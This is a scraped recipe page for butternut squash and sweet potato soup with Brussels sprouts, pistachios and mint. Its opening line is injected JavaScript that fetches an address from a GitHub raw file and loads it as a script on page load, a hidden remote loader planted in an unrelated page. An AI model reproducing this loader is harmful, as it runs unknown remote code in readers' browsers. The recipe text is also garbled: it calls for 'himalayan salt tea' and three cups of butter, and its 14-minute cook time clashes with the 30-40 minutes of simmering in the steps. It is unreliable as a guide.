;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Butternut soup, sweet potatoes, pistachios and fresh mint – Haute Nutrition

butternut soup with pistachio and kale

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Butternut soup, sweet potatoes, pistachios and fresh mint

octobre 30, 2020

bol of sweet potatoes

Butternut soup, sweet potatoes, pistachios and fresh mint

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Prep Time 15 mins

Cook Time 14 mins

Total Time 29 mins

Course Main Course, Soup

Cuisine American

Servings 4 portions

Ingredients

1 butternut squash cut into equal pieces of about 1 square inch
2 sweet potatoes cut into equal pieces of about 1 square inch
1 big red onion
1 liter of homemade chicken broth if possible
Brussels sprouts sliced in three lengthways
3 c. butter
1 C. himalayan salt tea
1 C. olive oil
Cut pistachios
Fresh mint to taste
1/2 c. olive oil for finishing
2 sliced green onions for finishing

Instructions

Cut your vegetables
Add butter and olive oil to large saucepan, fry onion for 2-3 minutes and add squash and potatoes. Fry gently over medium heat for about 5 minutes.
Add the broth to cover the vegetables
Bake for 30-40 minutes over medium heat (the vegetables should still be a bit tender not too spicy)
Take a pan and sauté 2 tbsp. butter, cook Brussels sprouts until golden brown for about 12 minutes
Add the squash and potato mixture to the Vitamix or mixing arm
Serve in a nice bowl and add Brussels sprouts, green onions, fresh mint and pistachios
Recipe Notes
Serve this soup with chicken or grilled scallops for a more complete meal.
Make soups with the Vitamix Mixer and you will get a much smoother and creamier texture.

Keyword HEALTHY SOUP

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